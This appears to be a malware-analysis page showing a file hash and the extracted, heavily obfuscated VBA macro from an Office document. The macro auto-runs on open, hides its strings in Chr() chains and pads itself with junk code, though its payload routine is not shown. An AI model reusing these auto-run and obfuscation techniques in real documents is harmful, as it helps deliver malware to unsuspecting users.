& Chr(118) & Chr(120) & Chr(55) & Chr(54) & Chr(54) & Chr(50)) = Len(Chr(113) & Chr(97) & Chr(99) & Chr(97) & Chr(97) & Chr(100) & Chr(110) & Chr(106)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Put #44, , oeizanwr 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 795272 = 795272 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 1487 < 42 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(99) & Chr(106) & Chr(113) & Chr(108) & Chr(105) & Chr(116) & Chr(120) & Chr(102) & Chr(50) & Chr(52)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(99) & Chr(120) & Chr(112) & Chr(111) & Chr(122) & Chr(116) & Chr(121) & Chr(102) & Chr(53) & Chr(54) & Chr(53) & Chr(49)) = Len(Chr(116) & Chr(112) & Chr(108) & Chr(114) & Chr(118) & Chr(120) & Chr(107) & Chr(100)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf Close #44 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 371891 = 371891 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 1292 < 67 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(113) & Chr(115) & Chr(108) & Chr(113) & Chr(101) & Chr(109) & Chr(107) & Chr(112) & Chr(50) & Chr(57)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(109) & Chr(115) & Chr(106) & Chr(112) & Chr(106) & Chr(113) & Chr(120) & Chr(98) & Chr(52) & Chr(52) & Chr(54) & Chr(54)) = Len(Chr(120) & Chr(104) & Chr(109) & Chr(99) & Chr(118) & Chr(112) & Chr(119) & Chr(116)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf eubugyes: 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 592352 = 592352 + 1 Then End 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If 2772 < 21 Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(103) & Chr(102) & Chr(120) & Chr(98) & Chr(118) & Chr(121) & Chr(101) & Chr(108) & Chr(57) & Chr(52)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf If Len(Chr(122) & Chr(103) & Chr(114) & Chr(121) & Chr(119) & Chr(108) & Chr(112) & Chr(116) & Chr(51) & Chr(54) & Chr(50) & Chr(50)) = Len(Chr(99) & Chr(105) & Chr(114) & Chr(113) & Chr(103) & Chr(99) & Chr(118) & Chr(108)) Then 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33)) 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf End If 'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkj ... (truncated)

SHA-256: ca5c5582a5c6063b1a530c4f9e159c0b8b7dff8e51e97dc991789b70cd716e46

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Sub auto_open()
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo vsfalbmw
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim eixxymsf As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(82) & Chr(90) & Chr(71) & Chr(88) & Chr(80) & Chr(87) & Chr(46) & Chr(70) & Chr(77) & Chr(68) For Binary As 16
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 711568 = 711568 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 1795 < 73 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(117) & Chr(121) & Chr(108) & Chr(108) & Chr(111) & Chr(104) & Chr(118) & Chr(121) & Chr(56) & Chr(55))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(99) & Chr(106) & Chr(119) & Chr(97) & Chr(112) & Chr(98) & Chr(103) & Chr(102) & Chr(53) & Chr(49) & Chr(54) & Chr(56)) = Len(Chr(98) & Chr(109) & Chr(99) & Chr(102) & Chr(107) & Chr(118) & Chr(102) & Chr(109)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #16, , eixxymsf
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 443571 = 443571 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 2283 < 49 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(99) & Chr(117) & Chr(113) & Chr(98) & Chr(109) & Chr(97) & Chr(112) & Chr(120) & Chr(50) & Chr(51))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(99) & Chr(115) & Chr(113) & Chr(104) & Chr(103) & Chr(97) & Chr(109) & Chr(119) & Chr(53) & Chr(52) & Chr(53) & Chr(54)) = Len(Chr(108) & Chr(121) & Chr(112) & Chr(119) & Chr(105) & Chr(117) & Chr(105) & Chr(111)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #16
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 542342 = 542342 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 5329 < 28 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(119) & Chr(120) & Chr(99) & Chr(116) & Chr(113) & Chr(114) & Chr(110) & Chr(122) & Chr(54) & Chr(49))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(108) & Chr(106) & Chr(101) & Chr(119) & Chr(122) & Chr(117) & Chr(101) & Chr(101) & Chr(54) & Chr(50) & Chr(54) & Chr(57)) = Len(Chr(109) & Chr(109) & Chr(121) & Chr(105) & Chr(112) & Chr(116) & Chr(97) & Chr(112)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
vsfalbmw:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 778394 = 778394 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 4542 < 63 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(115) & Chr(118) & Chr(102) & Chr(104) & Chr(97) & Chr(102) & Chr(114) & Chr(120) & Chr(53) & Chr(54))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(115) & Chr(114) & Chr(100) & Chr(117) & Chr(119) & Chr(102) & Chr(103) & Chr(119) & Chr(55) & Chr(55) & Chr(49) & Chr(53)) = Len(Chr(119) & Chr(107) & Chr(119) & Chr(122) & Chr(107) & Chr(116) & Chr(98) & Chr(119)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
evgvriwbtjr
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End Sub
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Sub autoopen()
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo kwduwurv
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim cjweozwj As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(70) & Chr(76) & Chr(65) & Chr(66) & Chr(81) & Chr(81) & Chr(46) & Chr(70) & Chr(74) & Chr(90) For Binary As 43
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 189973 = 189973 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 1796 < 59 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(98) & Chr(119) & Chr(102) & Chr(103) & Chr(116) & Chr(114) & Chr(111) & Chr(121) & Chr(50) & Chr(53))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(112) & Chr(119) & Chr(113) & Chr(103) & Chr(106) & Chr(109) & Chr(100) & Chr(120) & Chr(50) & Chr(54) & Chr(53) & Chr(54)) = Len(Chr(113) & Chr(118) & Chr(103) & Chr(97) & Chr(98) & Chr(108) & Chr(115) & Chr(101)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #43, , cjweozwj
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 231548 = 231548 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 2857 < 46 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(109) & Chr(114) & Chr(103) & Chr(115) & Chr(108) & Chr(120) & Chr(101) & Chr(100) & Chr(54) & Chr(55))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(110) & Chr(108) & Chr(108) & Chr(112) & Chr(122) & Chr(103) & Chr(118) & Chr(116) & Chr(53) & Chr(49) & Chr(50) & Chr(49)) = Len(Chr(111) & Chr(105) & Chr(110) & Chr(121) & Chr(98) & Chr(121) & Chr(112) & Chr(114)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #43
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 238386 = 238386 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 6983 < 25 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(116) & Chr(102) & Chr(111) & Chr(105) & Chr(102) & Chr(113) & Chr(107) & Chr(116) & Chr(51) & Chr(56))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(120) & Chr(118) & Chr(112) & Chr(104) & Chr(103) & Chr(109) & Chr(117) & Chr(102) & Chr(55) & Chr(55) & Chr(51) & Chr(52)) = Len(Chr(99) & Chr(122) & Chr(102) & Chr(101) & Chr(118) & Chr(107) & Chr(121) & Chr(109)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
kwduwurv:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 826517 = 826517 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 8797 < 15 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(101) & Chr(118) & Chr(103) & Chr(111) & Chr(101) & Chr(103) & Chr(100) & Chr(119) & Chr(51) & Chr(54))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(113) & Chr(102) & Chr(108) & Chr(105) & Chr(115) & Chr(117) & Chr(105) & Chr(100) & Chr(51) & Chr(57) & Chr(54) & Chr(49)) = Len(Chr(108) & Chr(122) & Chr(110) & Chr(101) & Chr(111) & Chr(118) & Chr(108) & Chr(115)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    auto_open
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End Sub
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Sub workbook_open()
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo jaduxocm
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim xxmeoehs As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(87) & Chr(85) & Chr(76) & Chr(85) & Chr(68) & Chr(84) & Chr(46) & Chr(82) & Chr(66) & Chr(74) For Binary As 67
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 861474 = 861474 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 4727 < 88 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(113) & Chr(105) & Chr(109) & Chr(115) & Chr(103) & Chr(99) & Chr(116) & Chr(113) & Chr(57) & Chr(51))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(103) & Chr(102) & Chr(116) & Chr(111) & Chr(109) & Chr(108) & Chr(107) & Chr(116) & Chr(53) & Chr(54) & Chr(55) & Chr(55)) = Len(Chr(101) & Chr(120) & Chr(98) & Chr(121) & Chr(118) & Chr(116) & Chr(108) & Chr(110)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #67, , xxmeoehs
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 892816 = 892816 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 5877 < 75 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(107) & Chr(115) & Chr(116) & Chr(109) & Chr(109) & Chr(106) & Chr(101) & Chr(117) & Chr(54) & Chr(56))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(108) & Chr(106) & Chr(116) & Chr(113) & Chr(102) & Chr(104) & Chr(100) & Chr(121) & Chr(56) & Chr(49) & Chr(52) & Chr(49)) = Len(Chr(97) & Chr(116) & Chr(100) & Chr(121) & Chr(113) & Chr(105) & Chr(99) & Chr(121)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #67
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 692157 = 692157 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 6827 < 24 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(98) & Chr(98) & Chr(118) & Chr(99) & Chr(107) & Chr(113) & Chr(117) & Chr(117) & Chr(55) & Chr(54))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(99) & Chr(108) & Chr(116) & Chr(100) & Chr(117) & Chr(102) & Chr(105) & Chr(111) & Chr(57) & Chr(49) & Chr(56) & Chr(50)) = Len(Chr(118) & Chr(118) & Chr(117) & Chr(110) & Chr(104) & Chr(115) & Chr(117) & Chr(103)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
